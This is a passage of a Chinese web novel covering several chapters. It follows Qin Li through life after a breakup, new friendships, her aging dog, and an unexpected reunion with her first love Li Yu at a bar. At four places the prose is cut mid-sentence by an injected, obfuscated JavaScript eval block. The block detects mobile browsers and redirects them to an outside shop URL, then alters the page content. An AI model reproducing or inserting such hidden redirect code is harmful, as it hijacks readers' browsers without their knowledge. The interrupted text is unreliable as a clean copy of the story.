修好的手机焕然一新,所有设置都恢复出厂状态,照片还好有备份能同步回来,聊天记录却是找不回来了。 秦离习惯性将手机布局调回曾经洛依帮她调过的样子,看着空空如也的对话框,怅然若失。 其实,昨天说了分手后,她也没打算删掉洛依的电话、微信和任何痕迹。戒指还戴在手上,洛依的相片放在手机壳里,独属于她的相册也还留着,里面放的全是她的照片和过往的点点滴滴。 秦离全都没舍得动。 理智告诉她,分手的前任就应该扔进垃圾桶,消除掉她的所有痕迹,这是她一贯的恋爱理念。但是面对洛依,想着她清澈可爱的眼神,即使是分开了,她也不舍得做任何可能让对方伤心的事。 即使对方可能根本就不会知道,可能也不在意。 哎…… 秦离心里明白,即使不得不分开,她或许还是存有幻想,幻想有朝一日洛依会回过头来找她,幻想她们还有在一起的可能。 而她能做到的,只有拼命忍住不主动去联系她。她心里很明白,要是洛依愿意,给出一点和好的讯息,她毫无抵抗能力,只会奔过去。 哈哈,这姿态,这内心戏,她立的什么深情等候人设,演电影吗? 即使再自嘲,秦离最后还是没舍得删掉任何东西。 就这样吧…… 日子还是要过的。少了洛依,生活好像也没有什么变化。 情场失意,职场顺心。管理工作上手后,没有一开始那么手忙脚乱了。手下两个小伙也终于进入状态,虽然不能独立承担大项工作,但干些辅助工作和杂活没问题了,让秦离松了一大口气。 正常上下班之外,空闲时间全部拿来写文了,爆火什么的她从来不指望,但陆陆续续居然也有些读者。每天看着评论区的留言,心中得些慰藉。 这之后不久,花城省考的结果出来了,秦离阴差阳错,居然考得还行,踩着尾巴进入面试。 这坑爹的命运,哈哈…… 秦离苦笑着摇头,点下放弃面试的选项。 时间过得很快,春去秋来,许多人都二阳又结束了,疫情的记忆进一步变得暗淡。才半年多的时间,那些封控的非日常生活就已经遥远得好像上个世纪发生的事,只有普通人一年又一年经历薪酬减少、公司裁员、工作难找的痛苦。 大家都在说,这年头,有个能交五险一金的工作就不错了,南城大部分工作三四千块钱一个月,勉强糊口,好多都还跟销售客服有关。朋友调笑,就算是孙悟空来南城,也要先打五百个电话再说。 老爸也提到过,这两年好多重点大学的本科生甚至研究生考到老家那个小县城,背井离乡,一个月就两三千块钱。就这,还竞争激烈得很,有些还要托关系。 十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370255|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前,只有最没有追求的人才会进入体制内。大家唾弃那种一眼望到头的枯燥生活,都选择去公司打拼,去外企去金融去快消。大家都相信靠自己的力量能够赚更多的钱,过上好日子。在当时的梦城,普通大学生在校期间就有机会申请到国际知名企业的实习,毕业后也有机会争取一份月薪过万的工作。 十年后,大家一窝蜂全部涌入考公大军,去挤那根窄窄的独木桥,期望能得到编制,得到那份稳定每月发工资,不用担心下个就被裁掉的工作,即使只有区区几千块钱,但至少稳定。 生活成本越来越高,个人的劳动付出却越来越廉价,个人在逐渐崩塌的世界里变得一文不值。 于是,秦离也不敢想什么贸贸然辞职的事了,只有心底还留有一丝微光。 现在生活已经完全趋于平稳,每天上班工作,下班码字,周末偶尔和朋友出去吃吃饭。一周是这样过,一月是这样过,一年,年年……或许都会这样过下去。 不敢细想,细想下去人生毫无盼头。 九月的时候,秦离收到箭馆老板的消息:【阿离,我们要搬新馆,你的弓已经在店里放了一年了。你看这次是我们帮你搬去新馆,还是你要带回家。】 射箭,一项秦离尝试后又没能坚持的活动,虽然原因是复杂的。 【我过来拿吧。】 整套弓当初花了她一万多,玩了半年多,又打了一次比赛后,就彻底堆灰了。现在她早没了打弓的劲头,想着带回来二手卖了,能回点血是点。 到店的这天天高气爽,店门口的枫叶很红,秦离看见柳叶站在枫树下,正在调弓,微风吹起她的发梢。 秦离愣了下才反应过来她是谁,内心没太多波澜。倒是柳叶看见她,先打招呼:“是你啊,好久不见了。” “好久不见。” 两人闲聊了几句,秦离打包了弓箭,提到打算都卖出去。柳叶“啊”了一声:“以后都不打了吗?” “唔……至少短期是没什么兴趣了。”秦离没把话说死。 “行啊,那以后什么时候想玩了再打弓一起玩吧。”柳叶说着,又从秦离那边入了她的平衡杆。 老板和教练都在,秦离和她们聊了很久,索性约着傍晚去吃饭聚一聚。 离开的时候天色变得昏暗,路灯一排排亮起。吃饭的人很多,大家三三两两走着,秦离和柳叶并排走在人群的最后面,聊些日常话题,徐徐晚风吹来,带着路边淡淡的草木香。 氛围正好。 似乎是很适合发展关系的时候。 秦离脑里突然冒出这个念头。 她曾经也对柳叶有过好感,和她相处时会非常紧张,心脏的存在变得很清晰。 但现在,理性分析是如此美好又恰当的氛围,秦离的心中却勾不起一丝波动。 她当然还是觉得柳叶很有魅力,是自己喜欢的类型,和对方发展似乎也不是没有机会。但她就是……淡淡的。 她不是为洛依守身如玉,甚至可以说很愿意投入新的恋情。她是如此渴望爱情。 但…… 秦离恍惚。 她好像已经失去热情主动发展一段恋情的能力了。 126. Chapter 126 一直到饭局结束,秦离都没做什么多余的事。箭馆大家等会还要去唱歌,柳叶问秦离去不去,她摇摇头:“我家太远,想早点回去休息。你们去玩吧,下次我们有机会再聚。” “好,下次聚。” 成年人口中的下次,有可能是无限延期的下次。 回到家,秦离洗了个热水澡,将弓箭挂在二手平台后,坐在床上开始刷红薯。 她也是今天才意识到,自己现在的生活圈子似乎太狭窄了,除了单位同事,每周都是和那几个固定朋友聚会,完全没有接触什么新的人。连老妈上次见面都隐晦暗示,就算她走的路不同寻常,但选择了至少也去走走啊,她现在完全就是原地踏步。 没想到出柜后也没躲开长辈的催恋进展,想到当时的场景,秦离有些哭笑不得。老妈说得太隐晦了,她一开始甚至没听出她的意思。 行吧,虽然说喜欢的人没有那么容易遇见,但多参加些活动认识点新朋友也好。 秦离之前不怎么刷红薯,最近才发现确实好用,这会正在上面看南城有什么拉拉活动。 纯喝酒吃饭的局就算了,户外徒步、打羽毛球和看电影还不错,就算没遇到谈得来的人也不尴尬,如果没认识什么人,单纯享受活动也不亏。 额,这个,怎么不是攀岩就是洞穴探险和雪山徒步,太硬核了遭不住,还是温和点好。 选来选去,最后秦离看中这周六一个宠物聚会的局,带小狗出去玩玩也好。 周六难得出了大太阳,即使是十一月的阳光也有温度,不像往年冬天的冷冰冰像冰箱灯。是个好兆头。 秦离带着小狗到现场,发现参加的人还很多,院内院外坐了两桌人,光狗狗就有十来只,还有人带了两只小猫,缩在角落的开放式柜子里,正在享受仆人们供奉的猫条。 活动负责人是个蓝色长发、长相甜美的女生,热情地跟秦离打招呼,招呼她加入大家的聊天和游戏圈,整体氛围比她预想的好太多。 秦离也是第一次见到这么多同类,发现大多数人都是十多二十多岁,还有即将成年的小妹妹,基本都比自己小。她这时才有实感,原来在社交活动上,自己也已经过了年轻人的群体年纪了。 这个感慨的念头只是一闪而过。全女活动果然都非常友好愉快,秦离没看见什么喜欢的类型,心中也带着点羞于初次见面就奔着谈对象去的微妙心情。 不过她还是加了几个聊得来的女生的微信,因为偶然聊到cos话题,对方热情地邀请她下次一起去漫展活动。 上一次出cos还是大学时候,距离现在都过去快十年了吧,她现在这样还能玩cos? 秦离对现在的外形并不太自信。反倒是那几个还在大学的小妹妹热情地怂恿她:“来啊,反正玩着开心嘛。” 秦离最后应了。 以这次活动为契机,秦离慢慢认识了很多新朋友。她的性格好,什么都感兴趣喜欢玩,又什么都懂一点,即使是年龄差很大的小伙伴,也能一起玩得很愉快。 秦离有些白骑士情结,面对那些年龄比她小的妹妹,总是很温柔有耐心,忍不住多照顾对方些,给对方送些符合心意的小礼物,看着她们活泼肆意的样子也觉得挺可爱的。有时候兴致来了,她还会发些吉他弹唱的视频给她们听。 杨晓瑞知道了,忍不住吐槽她:“你别这样到处乱撩啊,撩了又不认真谈恋爱,太渣了。” 这算是撩么…… 秦离反应了下,才后知后觉好像确实是啊。主要是之前跟她有过暧昧关系和微妙感情的女生跟她年龄和阅历都差不多,大家都不会被这种没什么段位的事情打动,她也就从来不觉得这种行为是带着暧昧信号的,只是了来满足自己一些玩花样的乐子心理。 仔细想想,她虽然没有意识到,但确实多少带了点撩拨的心思在。 反思…… 还没等秦离调整自己的行为模式,年底圣诞节她就收到一个比她小十岁的小妹妹的告白,恰好就是一个多月前在宠物聚会上认识的人之一。 对方是在微信上说的。其实看到对方正式告白前说的那些话,秦离就隐隐有预感,在对方说完后,她还顾及着不能伤害小朋友,尽可能温和委婉地拒绝她。 【噗噗,抱歉哦,我其实结束上一段感情才没多久,暂时还没做好进入新的恋爱关系的准备。你是个很好的女生,也很可爱,只是我们确实不太合适。】 【好吧……那我以后还能找你聊天吗?】 【可以,当然可以,想找我玩的时候都可以叫我。】 【好![小猫乖巧.jpg]】 【对了,你上次说的那个游戏……】 把对话引向其它话题,见刚刚拒绝的事没有给小朋友留下什么阴霾,秦离总算松了口气。 造孽哦…… 秦离不好意思把真实想法说出来。她觉得对方只是被她那些不带什么真情实感的手段给打动了,一时产生了恋爱般的憧憬,而且……更多的还是被自己多她十年的阅历给碾压了,觉得自己好厉害,在她的生活中显得如此成熟和独一无二。 实际上再过十年,当她见识得更多了,就会发现原来自己只是个平平无奇的三十岁社畜,没有什么闪光点。 秦离突然理解为什么年轻天真的小女孩总是容易被无能的老登欺骗引诱。这完全就是老登仗着自己多吃了十年干饭,拿着些同龄人都经历过甚至完全不值一提的体验,在小女生那里伪造自己强大厉害的形象,获得虚假的崇拜。 哎…… 秦离理解许多人为什么不接受和比自己年龄小很多的人谈恋爱了。 她看着和噗噗的对话,摸着自己的胸口,感觉良心在隐隐作痛。 算了算了,以后还是认真收敛点,不要再搞这些一时兴起的花样了。 过了几天,秦离和路过南城的阿清一起吃饭时,提到了这件事,仍心有余悸。 这时,阿清刚将长发随意盘起来,拿根木簪松松插着,准备专心致志捞火锅里的肉。听见秦离的长篇自我反思,她扑哧笑出声:“阿离,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370256|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也太可爱了,居然自我道德要求这么高哦。” “我认真说的!” 阿清故意用嗲嗲的声音说着:“有些人哦,甜蜜的时候叫人家小甜甜,还和人家亲密接触……”说着,她夸张地嘟着嘴就要凑过来。 秦离浑身鸡皮疙瘩都起来了,连忙将她推开:“别故意恶心我啊!” 她当然知道阿清说的是什么时候。该死的,她那时候一定是鬼迷了心窍,居然会对阿清产生朦胧微妙的情绪。这家伙!完全不值得! 阿清看出她的内心想法,笑得更厉害了,将一大块肉夹起来塞进嘴里,短暂满足了食欲,才接着道:“你看,其实你的第一反应很直白了。你想要什么,不想要什么,心理和感官上都是知道的。” “所以年龄不是问题,人才是。你想想,如果是面对你喜欢的人,比如那个……是叫洛依?她要是比你小十岁,超可爱地喊你姐姐,跟你告白,想要和你在一起,你会不会接受?” 秦离沉默了。 阿清挑了挑单边眉,给秦离夹了一筷子萝卜:“所以别想了,快吃!” 秦离终于忍不住开口:“我不要萝卜,我要吃肉!” “哈哈哈哈——” 两人进入你争我抢的战斗环节。 这之后,秦离对去参加社交活动的心思也淡了些了,大概也就是每一到两周去参加些徒步或打球的运动,偶尔跟球友们聊聊天,没有那些微妙的情绪压力在,生活自在了很多。 算了,爱情这种东西,可遇不可求啊。 而且在阿清的事情上,秦离触动特别深。在脱离了很长一段时间迷茫的心理状态,与阿清彻底摆脱暧昧朦胧的关系后,两人反而找到了更为舒适自然的朋友相处模式。 表面看,阿清似乎对哪种关系都接受良好,来者不拒。秦离真怀疑当年在私影,要不是她主动喊了停,两人可能真会做到最后,但她们也就不会有现在这种轻松自在的氛围了。 阿清这个人,做萍水相逢又说得上交心话的朋友才是最合适的。有缘分了,大家就多见一面,没有缘分了,大家就青山不改,绿水长流。 这也是秦离第一次意识到什么叫君子之交淡如水,意识到原来没有了爱情,人生依旧可以过得很好。 “所以,这次又准备去什么地方呢?” 阿清离开南城这天刚好是周末,秦离也没事,就开车送她去机场。 “筑城。最近想去那里的侗族寨子里采风,拍几组照片。” “哇——”秦离羡慕死她了。 “哈哈,想来的话那你现在买机票,跟我一起走呗。” 秦离可不接招:“跑路一时爽,没钱火葬场啊,我可不想和你一起在野外住帐篷。” “哈哈哈哈——” 两人一直闲聊到机场。 说到侗族寨子,秦离倒是想到曾经喜欢的歌手做过一张侗族大歌的专辑。返程路上,她搜出来放着,听着《尚重琵琶歌》①,突然心中一动。 突然有点……想学琵琶耶。 127. Chapter 127 兴起就干,秦离当天就找了个离家近的琵琶老师,试课后觉得不错,决定先报二十节课玩一玩。 她不知道自己的兴趣会维持多久,但也不像过去因为中途放弃而挫败自厌。三分钟热度也是热度呀,多学一点,她又多体验了一点,怎么都是开心的。 今年,她好像慢慢和人生的一切人和事都和解了,可能是真的活得年头久了,对待什么都带着年长者的宽容。 活在这个珍贵的人间已经很不容易,就不要难为自己了,怎么舒服怎么来吧。只要还活着,就还会有新的体验,有变化的希望。 活着挺好的。 转眼到元旦了,秦离与家人度过愉快的跨年夜。2024年的第一天,秦离就收到了许平平的求助消息:【我真是受不了我妈了!她居然花了十万块钱报了个红娘机构来给我介绍对象!那可是十万啊!我说她肯定是被骗了,要把钱要回来,她就开始说我冷漠自私,一点都不理解她的苦衷,又说我天天在家什么都不干,早上早饭也不吃就知道睡觉,桌子上有纸都不知道收拾下,也不帮她做做家务……】 【啊——受不了了——】 隔着手机屏幕,秦离都能感受到她的咆哮崩溃。她和杨颖她们也劝过她要不搬出来住,和家里隔开距离,但许平平其实是个很恋家的人,一个人住会寂寞,而且她也受不了妈妈的眼泪,想她过得开心点,不想她难过。 久而久之,她们也不再劝她了。 哎,家家有本难念的经,作为外人只能提建议,帮不到什么忙。个人命运个人决定,归根到底都靠自己。 她能做的也只有:【要不要出来喝酒?】 【好!】 许平平前阵子忙得晕头转向,两人时间老对不上,已经很久没一起喝过酒了。 【还是橘色?】 【好!】 秦离下午四点准备出门,临走时习惯性摸摸家里小狗,突然发现它有些不对劲。 小狗在屋子里焦躁地打圈,一直在拼命舔/脚,还将背在沙发和椅子腿上死命蹭,看着难受得不行。 秦离皱眉问妈爸:“它怎么了?什么时候开始这样的?” 她下午一直在书房写文,没有察觉小狗的不对劲。 “不知道啊……” 妈爸一个缩在沙发上拼木头,一个在阳台上晒太阳看书,都没注意到。 秦离叹了口气,对心大的一家人——包括自己——也是没主意了。 “不知道是不是皮肤病。走吧,我们带它去看医生。” 妈爸也很在意小狗,连忙换衣服和秦离一起出门。 去宠物医院的路上,秦离把情况告诉许平平。 【哎!我都已经在上楼了,那你还来得到不?】 【不知道,先看看医生怎么说吧。你先喝?】 【行!反正不管你来不来,今天不到十一点我是不回去了,回去也是听我妈念叨,烦!】 【好,我如果来得及就过来找你。】 【好耶!我到了,哇,帅气老板在耶,今天可以点特调了,lucky~】 快到医院了,秦离笑着摇摇头,把手机塞进包里。 “医生,麻烦看哈我家狗狗咋回事,它一直在屋头到处除(蹭)。” 因为没第一时间注意到小狗的异常,老妈还挺内疚,紧张兮兮发问。老爸虽然没说什么,但表情也很严肃。 秦离补充问道:“是皮肤病吗?” 诊所医生是个二十来岁的年轻小姑娘,但架势看上去很熟练,哄着小狗把它抱上桌子检查了番后,道:“身上有些皮肤病的斑点,但不多,基本已经快好了,主因应该不是这个,更多可能是过敏。” 三个人开始复盘最近给小狗吃过什么东西,除了狗粮外,就是偶尔有喂火腿肠、骨头和各种肉。毕竟每次家里吃饭的时候,它总是可怜巴巴地望过来,轻轻拿爪子刨人,换谁也招架不住啊。 “这些都是它以前经常吃的东西,一直没见有什么问题啊。” “有可能是过去那些不利于身体的东西一直沉淀着,到一个量了。还有就是它现在年龄大了,以前能够承受的东西,现在可能就受不住了。这样,我给它开三颗过敏药,你们先喂给它吃吃看,观察一下。” “谢谢医生。” 秦离恍惚,刚满一岁的小狗到家里的日子仿佛还在昨天,现在居然都是个老狗狗了。 时间……过得真快啊…… 小狗很主动把第一颗药吃下去了,积极的吃货精神连见多识广的医生都连连称奇。 回去的路上,太阳已经慢慢下山,将大片的建筑染成浓烈的橙色。一家三口慢慢走在路上,小狗也慢慢走着。它现在已经不喜欢奔跑了——抢吃的时候除外。 秦离有些伤感,对于时光飞逝,万物皆会衰落的伤感。 所以啊,才更要珍惜眼前人、眼前事。 快到家时,老妈开口:“你不是要出门吗?” “可是……”秦离又有点犹豫。看着小狗蔫蔫的样子,她有些不忍心离开。 “去吧,还有我们在呢,而且它也不会因为你在家而迅速好转。如果明天还是不对劲,我们再去大医院看看。” “好哦。” 去橘色的路上,秦离一直有些心不在焉,在红薯上搜着各种小狗的类似症状和治疗办法。搜着搜着,她又开始看老年狗狗应该如何养护,怎么才能活得更久,要是小狗死了要怎么安葬它的遗体。 她越搜,情绪越低落。 进大厦,上电梯,出来后转弯,橘色就在七楼的长廊尽头。 秦离埋着头往前走,在转角处拐弯,发现前方有人时,她已经来不及刹车,撞在那人背后。 单薄的黑色毛衣,带着熟悉又陌生的草木香,还有淡淡的烟草味。 “抱歉!” “你……”对方的声音透着不易察觉的不耐,但在转身的那刻戛然而止。 秦离抬头,逆着头顶的白光,半天才看清了对方的面庞。 是……黎羽…… 她的头发染成了银灰色,比以前长了,松松扎了个半马尾。她戴着银丝边框的眼镜,眼睛微眯着在看自己,指间架着香烟,不知道是不是以前常抽的那款。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370257|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她比以前……更瘦也更疲惫了。 原来她早已不是记忆中青春阳光的模样,不像过去那样凌冽,而是变得慵懒柔和,没有棱角。她变了好多好多,岁月的痕迹更加明显,却……更有魅力了。 秦离怔在原地,呆呆的,一如当年初见黎羽的样子。 没有一点长进。 黎羽反应很快,脸上挂着温和的笑容,向后退了一步,落在一个不远不近的安全距离:“好久不见。” “好久……不见。” 秦离莫名有些失落,为这样客套的重逢。 她从未想到会此时此刻此地遇见黎羽。应该说,她从未想过自己这辈子还会再见到黎羽。 即使小智曾告诉她,黎羽也在南城,她也没想到她们会再见。或许曾经剧烈又痛苦的结束给她留下了深刻的烙印,让她始终觉得,她们两个人就是相交后的直线,只会越来越远,不会再有未来了。 或许是她眼里的沉思和悲痛太过明显,黎羽沉默了,收敛了脸上的笑容。 火光微亮,慢慢往上攀爬,过往之处皆是灰烬和死去后的余温。直到手指被灼烧,黎羽身体一颤,将手背到了身后。 “你……” “抱歉,我还有点事,先走了。” 你没事吧…… 秦离的话没能说出口,只能看着黎羽转身快步离开,只有地上还残留着浅浅的灰烬,被窗口的风一吹就飘走了。 最后一点痕迹也没有了。 秦离怅然若失。她的手还本能伸着,指尖仿佛触碰到黎羽银灰色的发梢,依旧如同当年那样柔软。 一直到推门进入店里,秦离还在出神,想着刚才发生的一切,甚至怀疑自己是不是在做梦。 “这里这里!” 许平平朝秦离挥了半天手,都没得到她的回应,不得已跑过去将她拉到卡座。 “你在想什么,怎么呆呆的。” “我好像遇见……” 秦离的声音轻飘飘的,被店里的音乐盖过去。 “什么?”许平平没听清,“说起来,你刚从来外面进来,有看见老板吗?她好像刚好去外面抽烟来着。” “嗯?” “就我之前说的,银灰色头发很帅气的老板啦,应该很显眼,肯定是你的菜。” 银灰色头发…… 秦离反应过来,音量猛然增大:“你是说黎羽?” 店里其她人纷纷看了过来。 秦离不好意思地朝周围人点头道歉,然后将许平平拉到更角落里:“你是说黎羽是店里的老板吗?” “啊……应该是?”许平平有点懵,“黎羽,不是你初恋吗?” “……嗯。” 秦离应了下,又沉浸到自己的世界里。 原来,自己不是在做梦,刚刚真的是黎羽啊。 秦离将杯子里的酒一饮而尽,冰凉的酒精迅速窜上脑门,瞬间带来迷醉感。 能够再见到黎羽……真……真好…… 借着酒意放松神经,秦离终于意识到,她原来是如此欢喜,欢喜能与黎羽重逢。 128. Chapter 128 “到底是怎么回事啊!”秦离半天不说话,许平平好奇心完全被吊起来了,“老板居然是黎羽吗?这也太巧了!不过好吧,我是一点印象都没有了。” 秦离和黎羽热恋时,曾给许平平看过黎羽的照片。不过这都过去多少年了,就当时那几眼,许平平早没印象了。 “你初恋,确实帅啊……”许平平感叹,“而且特别受欢迎。” 黎羽来店里的时候不多,但每次都是关注度百分百,总有女生去搭讪。她说话虽然温和,但没看到有什么关系亲密的人,面对客人的主动搭话都很客气,但不亲近,内里冷冰冰的。 “她一直是这样,喜欢她的人总是很多。” 从认识黎羽起,秦离总能遇见好多喜欢黎羽的人,即使两人恋爱后也不见少。但黎羽对爱慕者总是淡淡的,只有面对自己时,才会带着真正温柔的笑容。 她对自己是特殊的,所有人都能看出来。 但那是曾经了,现在两人不过是萍水相逢的陌生人。 秦离将自己从更深的过去里拔出来,怅然若失。 见秦离又不说话了,许平平点了点她的手臂:“回神!还在想你初恋啊,刚刚遇到没多聊两句?你看上去对她还旧情难忘哦。” “没,就说了句好久不见,她就急匆匆走了,估计有事吧。不过都快十年了,我对她来说也只是个陌生人了。” “是吗?”许平平对感情的事一窍不通,“不过这么大的世界,你们还能再遇,都是缘分,反正你现在也单身,发展发展,说不定能复合呢?” 她喝完面前这杯酒,跃跃欲试想再点一杯:“对了,你来之前我点酒的时候,她还问我是不是一个人,说不定就是想看你来不来呢。” 秦离觉得她的猜想过分天方夜谭:“这就是面对客人的正常话术,她又怎么知道你是我的朋友……” 话说到一半,她突然想起有一次店里送的特调,随即又摇摇头,笑自己自作多情。 许平平还在怂恿她:“缘分难得,试试嘛。重逢初恋、再燃爱火,多浪漫啊。你看我,想要都莫得。” 许平平脸上故意挂着哭兮兮的表情。她渴望恋爱但母胎单身,天天都在求上天赐她一段美好的爱情。 秦离被她逗笑了。她沉思,开始转右手无名指的戒指,这是她最近养成的习惯。摸到戒指上的星星时,她心里多了丝疲倦和躁意。 “……还是算了吧。我自己心里都没腾干净,还发展什么新感情。” 除了和洛依分手的当天痛哭一场,后来她便再也没哭过,也没有什么悲伤堕落的时刻。半年多来,日子如白水般平淡地过着,时间越跑越快,好像和洛依分开这件事已经没有什么影响了。 但每当她这么觉得的时候,就会被再度拉入当初的痛苦中。 这种痛苦不是一箭穿心似的剧痛,而是钝刀子磨肉般,一下,又一下,一推,一拉,带着钝钝的闷痛,让她无法解脱。 只是一首歌、一句话、一份食物、一个相似的场景,便将她拉入某个记忆碎片中,反复翻搅着,逼迫她回想起每个画面、每个动作,洛依的声音和她的笑,还有她身上独一无二的香味。 于是她深陷其中,无法自拔,直到被现实惊醒,所有的潮汐起伏都瞬间消失,又恢复了日常的平静。但她知道它们没有真的消失,只是在阴暗处蛰伏,等待着下一次漫上海滩,淹没一切。 她不舍得将洛依有关的所有记忆和痕迹都扔进不可回收的深处,于是只能任由自己被一遍又一遍地折磨,不知道什么时候才能解脱。 也因此,秦离虽然嘴上说着还挺想开始一段新的感情,却在真正有机会时始终止步不前。 她觉得自己并不是留恋洛依,非她不可,她只是……被困住了。 许平平不知道秦离内心种种纠结,只看到她愣神片刻,随即草草结束了这个话题,转而问起她苦恼的事。 哎…… 她觉得自己看得分明,秦离明显对黎羽有所留恋,但她毕竟只是旁人,说到这里,已经足够了。向左向右或留在原地,什么样的选择都得秦离自己去做,结局也只有她自己承受。 许平平的苦恼,又是另一个故事了。这次,诉说者和倾听者的关系颠倒。 这之后,秦离并没有向任何人说起黎羽的事,但那次重逢终究是在心上占了个角落。 以前,只有和许平平有约,她才会来橘色。但现在,她一周至少会来个两三次,只要有空都想来坐坐,周末的时候坐在靠窗的位置,看着大厦外亮着的霓虹灯,在电脑上写下脑里的各种想法。 半个月了,她一次也没再遇见黎羽,说不出是松了口气,还是失落,就像她说不清自己如此频繁来橘色,却不向服务员打听任何跟黎羽有关的事,到底是为什么。 这个冬天的寒风格外刺骨,比得上云林的风了。周六晚上,秦离戴着厚厚的彩虹色围巾和白色毛线帽,依旧抵不住风从任何找得到的缝隙钻进去,破开温暖的防线。 直到进入店里,感受到包裹全身的热意,秦离才终于舒展了神经。 真的太冷了…… 自从阳了两次后,她的身体大不如前,冬天完全不抗冻,以前不怎么用的围巾、手套、帽子现在全部常备。岁月啊…… 秦离点了杯热可可,捧着慢慢喝着,心想,今天之后还是减少来的次数吧,太冷,也太远了。 这种从自己开始,又由自己结束的独角戏让秦离的心情莫名低落。她从隔壁桌借了根烟,恰好是万宝路的爆珠。 已经有两年多没碰过烟了,加上走神,秦离没控制好,第一口就呛住了。她猛烈咳嗽,狼狈地去抓桌上的水杯,半天没抓到。 这时,有人将温水送到她手边。 “还是这么不会抽烟吗?” 是黎羽。 秦离的感官先于大脑察觉到了。 她小口喝下温水,终于缓和下来,才抬头,看见黎羽就站在她面前。 她今天穿着黑色衬衫,将头发全部放下来了,可能是为了方便做事,袖口高挽,前额的碎发用小夹子别着,看着有点可爱。 “没有,我就是太久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370258|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没抽,一下有点不太习惯。” 缓过来后,秦离第一反应是解释。她不想在黎羽面前总是变得笨拙稚嫩。 “好。” 黎羽嘴角勾起丝若有若无的笑意。 她收拾着桌上的空杯,转身就要回吧台。 “那个……”秦离连忙叫住她,声音有些忐忑,“有空我们聊聊天吗,黎……黎羽。” “好。”黎羽没有让她不安太久,给出肯定回答,一如过往。 两人面对面坐着,一时静默,空气缓慢流淌着。 秦离无意识捏着衣角摩挲,受不了这种尴尬,先开口:“你这些年,过得怎么样?”问完,她心里唾弃自己问的什么烂俗问题。 “还行,做生意到处跑,也赚了些钱。你呢?” “也还行,在外面上过班,现在就在体制内呆着。” “体制内啊,那挺好的,工作稳定,也很适合你。” “将就着过,旱涝保收,反正饿不死嘛。你什么时候来南城的?” “差不多一年前吧,也就疫情刚放开的时候。” …… 两人就这么一来一回说着,话题始终停留在表面的客套,秦离也不敢深入。她害怕说到过去,说到两人的关系,黎羽的家庭和她的离开。 表面话题终究有说完的时候,两人又陷入沉默。 秦离懊恼着,又不自觉开始转右手的戒指。 这时,黎羽先开口了:“你手上的戒指……是在恋爱吗?” “没有。”秦离答得很快,发现自己反应太强烈后又平缓了语气,“已经,分手了。” “这样啊……” “那你呢?”黎羽嘴比脑子快,说完又觉得太冒昧了,连忙找补,“我的意思是,你现在这么受欢迎,应该不缺对象哦,哈哈——” 干瘪的笑,说的都是些什么话,越补越乱!秦离恨不得狠敲自己的脑子。 黎羽端起水杯,嘴角好像有些弧度,但秦离再仔细看,又什么都没看出来。 “没有对象。工作太忙了,没时间也没兴趣找。” “嗯?”秦离本来以为她说的是酒吧生意。 黎羽像是知道她在想什么,解释道:“橘色我只是投了一点股,偶尔过来。是我妈以前留下来的服装生意,不过我现在已经把规模做大好几倍了。” 黎羽提了个她们公司旗下的品牌。 “这么厉害!”秦离眼睛瞪圆了。这个牌子她听过,是这些年才慢慢冒头的,还扛过了疫情时期,没想到居然是黎羽的生意。 见秦离感兴趣,黎羽顺势又多说了些,气氛逐渐变得融洽。 秦离越听越佩服黎羽,没想到她现在事业发展得这么好,反观自己,哎……也难怪黎羽看起来总这么疲惫,有这么大摊子事要做,能不疲惫嘛。 不过…… 秦离趁着喝水空挡,自以为不露痕迹地偷瞄着黎羽。 她现在能自然地提起她妈了,是不是代表她已经彻底从那段阴霾里走出来了? 那也好,也好啊…… 129. Chapter 129 和黎羽聊天是件很愉快的事。她是个完美的倾听者,而且现在历尽千帆、阅历丰富的她更是会很好地照顾到诉说者的情绪,甚至给出恰当的建议。 秦离感慨,只要她想,没有谁能不喜欢她吧。 两人聊着聊着,秦离的情绪越来越激动,除了涉及洛依的事没提,那些最近的爱好、工作中的苦水、路边看见的风景、甚至脑里的奇思妙想全都说了个遍,滔滔不绝。到后面,秦离自己都不好意思了:“抱歉,说兴奋了,我话太多了吧。” 